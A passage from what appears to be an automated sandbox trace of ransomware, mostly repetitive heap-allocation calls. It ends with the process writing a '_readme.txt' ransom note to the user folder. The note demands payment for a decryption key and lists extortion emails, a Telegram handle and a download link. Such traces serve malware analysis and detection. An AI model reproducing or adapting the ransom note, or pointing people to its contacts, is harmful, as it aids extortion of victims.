[0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.741] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.742] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.743] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.744] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb268 [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.746] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.746] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.746] PathFindFileNameW (pszPath="") returned="" [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.746] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.746] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.746] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.746] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.746] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0119.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.746] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0119.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.747] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.747] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x3080660 [0119.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0119.748] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x3092b80 [0119.748] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 